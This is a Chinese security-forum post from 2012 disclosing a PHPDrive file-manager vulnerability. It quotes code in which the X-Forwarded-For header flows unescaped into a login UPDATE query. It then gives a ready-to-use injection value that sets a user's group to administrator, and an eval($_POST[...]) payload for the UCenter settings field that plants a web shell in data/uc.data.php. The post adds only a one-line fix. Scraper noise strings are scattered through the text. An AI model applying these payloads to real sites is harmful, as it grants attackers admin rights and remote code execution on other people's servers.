找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2079|回复: 0
打印 上一主题 下一主题

PHPDrive权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:18:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等$ f1 \! n5 ^& ~) {4 r  ^0 f
( _6 z) Q! m1 C. h* I% r- Q; r
includes/user.lib.php
0 F& v. k4 ]* P! ]5 F$ r行876 P; _0 g6 m# _0 @
function get_ip() {: [9 r3 Z, e6 \" p8 J6 w
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
' V9 a- W$ F* h1 s1 ]在用户注册与登录 处module/disk/account.lead.php) M4 O' s, H8 L4 g
198行 ; y. u: y! f' i* I
//更新本次登录IP和时间
9 ~  d' c5 x8 W- X5 s( P+ L# s             $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生) n# N) C* s6 J/ H1 l* Z3 I
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限5 a0 a9 b7 p' @* A" @6 V
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.& p2 }. |8 n7 ?/ [; G
后台getshell:
/ p& ~" o# h! c' e在UCenter设置处,将UC数据库登录名填写为' z9 w! n* ^' ]2 y  g/ Q
# X# N3 s: K" _3 a' \
root’);eval($_POST[DisKill]);?>/*! I3 f$ d# z7 l; D( v- `
可以得到一个shell,位置在 data/uc.data.php/ r* K* s  e* B
& t. U+ K4 S/ L  a; Z- v. R" \$ W# j, ~
修复:过滤注入
" u7 B  f) i8 i  {  K- U
/ ]- w4 C- h; Y/ `; g1 W. R0 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表